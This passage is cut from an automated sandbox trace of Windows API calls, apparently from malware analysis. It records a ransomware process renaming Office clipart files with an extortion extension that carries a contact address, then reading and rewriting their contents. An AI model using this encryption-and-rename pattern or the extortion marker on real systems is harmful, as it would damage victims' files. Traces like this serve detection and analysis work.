len=0x44 | out: pbstr=0x4abff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 1 [0133.638] GetProcessHeap () returned 0x630000 [0133.638] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xc8) returned 0x66a3e0 [0133.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0133.639] CloseHandle (hObject=0x69c) returned 1 [0133.639] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.639] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0133.641] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0133.641] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfc6c | out: lpFindFileData=0x4abfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x16cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01216_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AN0121~2.FIR")) returned 0x6d5200 [0133.641] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0133.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0133.641] GetProcessHeap () returned 0x630000 [0133.641] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16e1) returned 0x6ece898 [0133.641] GetProcessHeap () returned 0x630000 [0133.641] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16e1) returned 0x6ed2090 [0133.641] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.641] ReadFile (in: hFile=0x69c, lpBuffer=0x6ece898, nNumberOfBytesToRead=0x16c0, lpNumberOfBytesRead=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ece898*, lpNumberOfBytesRead=0x4abff0c*=0x16c0, lpOverlapped=0x0) returned 1 [0133.795] GetProcessHeap () returned 0x630000 [0133.795] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317db0 [0133.796] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.796] WriteFile (in: hFile=0x69c, lpBuffer=0x6ed2090*, nNumberOfBytesToWrite=0x16c0, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed2090*, lpNumberOfBytesWritten=0x4abff0c*=0x16c0, lpOverlapped=0x0) returned 1 [0133.796] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.796] WriteFile (in: hFile=0x69c, lpBuffer=0x6ed374f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed374f*, lpNumberOfBytesWritten=0x4abff0c*=0x20, lpOverlapped=0x0) returned 1 [0133.796] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.796] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4abff0c*=0x4, lpOverlapped=0x0) returned 1 [0133.796] CloseHandle (hObject=0x69c) returned 1 [0133.797] GetProcessHeap () returned 0x630000 [0133.797] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ed2090 | out: hHeap=0x630000) returned 1 [0133.797] GetProcessHeap () returned 0x630000 [0133.797] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ece898 | out: hHeap=0x630000) returned 1 [0133.797] GetProcessHeap () returned 0x630000 [0133.797] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317db0 | out: hHeap=0x630000) returned 1 [0133.797] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0133.797] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfcc4 | out: lpFindFileData=0x4abfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b2a3c6, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x16f0, dwReserved0=0xb847496, dwReserved1=0x6ece890, cFileName="AN01216_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AN0121~2.FIR")) returned 0x6d5540 [0133.798] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0133.798] Sleep (dwMilliseconds=0x1) [0133.840] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF", len=0x44 | out: pbstr=0x4abff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 1 [0133.840] GetProcessHeap () returned 0x630000 [0133.840] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1bc) returned 0x66a3e0 [0133.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0133.840] CloseHandle (hObject=0x5ec) returned 1 [0133.840] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.840] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0133.841] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0133.841] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfc6c | out: lpFindFileData=0x4abfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1678, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00265_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BL0026~2.FIR")) returned 0x6d5540 [0133.842] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0133.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0133.842] GetProcessHeap () returned 0x630000 [0133.842] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1681) returned 0x6ece898 [0133.842] GetProcessHeap () returned 0x630000 [0133.842] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1681) returned 0x6ed2090 [0133.842] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.842] ReadFile (in: hFile=0x5ec, lpBuffer=0x6ece898, nNumberOfBytesToRead=0x1660, lpNumberOfBytesRead=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ece898*, lpNumberOfBytesRead=0x4abff0c*=0x1660, lpOverlapped=0x0) returned 1 [0135.872] GetProcessHeap () returned 0x630000 [0135.872] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0135.873] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.873] WriteFile (in: hFile=0x5ec, lpBuffer=0x6ed2090*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed2090*, lpNumberOfBytesWritten=0x4abff0c*=0x1660, lpOverlapped=0x0) returned 1 [0135.873] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.873] WriteFile (in: hFile=0x5ec, lpBuffer=0x6ed36ef*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed36ef*, lpNumberOfBytesWritten=0x4abff0c*=0x20, lpOverlapped=0x0) returned 1 [0135.873] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.873] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4abff0c*=0x4, lpOverlapped=0x0) returned 1 [0135.873] CloseHandle (hObject=0x5ec) returned 1 [0135.874] GetProcessHeap () returned 0x630000 [0135.874] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ed2090 | out: hHeap=0x630000) returned 1 [0135.874] GetProcessHeap () returned 0x630000 [0135.874] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ece898 | out: hHeap=0x630000) returned 1 [0135.874] GetProcessHeap () returned 0x630000 [0135.874] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0135.874] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0135.874] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfcc4 | out: lpFindFileData=0x4abfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16efbe12, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x169c, dwReserved0=0xb847496, dwReserved1=0x6ece890, cFileName="BL00265_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BL0026~2.FIR")) returned 0x6d5200 [0135.874] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0135.874] Sleep (dwMilliseconds=0x1) [0137.706] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF", len=0x44 | out: pbstr=0x4abff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 1 [0137.706] GetProcessHeap () returned 0x630000 [0137.706] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x2d4) returned 0x671c18 [0137.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0137.708] CloseHandle (hObject=0x648) returned 1 [0137.708] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.708] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0137.709] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0137.710] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfc6c | out: lpFindFileData=0x4abfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe7100f8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe7100f8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe736331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01629_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DD0162~1.FIR")) returned 0x6d5580 [0137.710] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0137.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0137.710] GetProcessHeap () returned 0x630000 [0137.710] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d6db8 [0137.710] GetProcessHeap () returned 0x630000 [0137.710] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d7040 [0137.710] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.710] ReadFile (in: hFile=0x648, lpBuffer=0x6d6db8, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d6db8*, lpNumberOfBytesRead=0x4abff0c*=0x240, lpOverlapped=0x0) returned 1 [0137.714] GetProcessHeap () returned 0x630000 [0137.714] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317838 [0137.714] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.714] WriteFile (in: hFile=0x648, lpBuffer=0x6d7040*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7040*, lpNumberOfBytesWritten=0x4abff0c*=0x240, lpOverlapped=0x0) returned 1 [0137.714] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.714] WriteFile (in: hFile=0x648, lpBuffer=0x6d727f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d727f*, lpNumberOfBytesWritten=0x4abff0c*=0x20, lpOverlapped=0x0) returned 1 [0137.714] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.714] WriteFile (in: hFile=0x648, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4abff0c*=0x4, lpOverlapped=0x0) returned 1 [0137.714] CloseHandle (hObject=0x648) returned 1 [0137.715] GetProcessHeap () returned 0x630000 [0137.715] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d7040 | out: hHeap=0x630000) returned 1 [0137.715] GetProcessHeap () returned 0x630000 [0137.715] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d6db8 | out: hHeap=0x630000) returned 1 [0137.715] GetProcessHeap () returned 0x630000 [0137.715] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317838 | out: hHeap=0x630000) returned 1 [0137.715] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0137.716] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfcc4 | out: lpFindFileData=0x4abfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe7100f8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe7100f8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18081ff4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x268, dwReserved0=0x4abfd20, dwReserved1=0x6d6db8, cFileName="DD01629_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DD0162~1.FIR")) returned 0x6d5200 [0137.716] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0137.716] Sleep (dwMilliseconds=0x1) [0137.721] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF", len=0x44 | out: pbstr=0x4abff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 1 [0137.721] GetProcessHeap () returned 0x630000 [0137.722] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x2ec) returned 0x671c18 [0137.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0137.722] CloseHandle (hObject=0x648) returned 1 [0137.722] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.722] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0137.723] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0137.723] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfc6c | out: lpFindFileData=0x4abfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00010_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ED0001~1.FIR")) returned 0x6d4ec0 [0137.723] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0137.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0137.724] GetProcessHeap () returned 0x630000 [0137.724] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x581) returned 0x6868e0 [0137.724] GetProcessHeap () returned 0x630000 [0137.724] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x581) returned 0x71be9f0 [0137.724] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.724] ReadFile (in: hFile=0x648, lpBuffer=0x6868e0, nNumberOfBytesToRead=0x560, lpNumberOfBytesRead=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6868e0*, lpNumberOfBytesRead=0x4abff0c*=0x560, lpOverlapped=0x0) returned 1 [0137.730] GetProcessHeap () returned 0x630000 [0137.730] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317838 [0137.730] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.731] WriteFile (in: hFile=0x648, lpBuffer=0x71be9f0*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x71be9f0*, lpNumberOfBytesWritten=0x4abff0c*=0x560, lpOverlapped=0x0) returned 1 [0137.731] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.731] WriteFile (in: hFile=0x648, lpBuffer=0x71bef4f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x71bef4f*, lpNumberOfBytesWritten=0x4abff0c*=0x20, lpOverlapped=0x0) returned 1 [0137.731] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.731] WriteFile (in: hFile=0x648, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4abff0c*=0x4, lpOverlapped=0x0) returned 1 [0137.731] CloseHandle (hObject=0x648) returned 1 [0137.732] GetProcessHeap () returned 0x630000 [0137.732] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71be9f0 | out: hHeap=0x630000) returned 1 [0137.732] GetProcessHeap () returned 0x630000 [0137.732] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6868e0 | out: hHeap=0x630000) returned 1 [0137.732] GetProcessHeap () returned 0x630000 [0137.732] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317838 | out: hHeap=0x630000) returned 1 [0137.732] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0137.732] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfcc4 | out: lpFindFileData=0x4abfcc4*(dwFileAttributes=0x220, 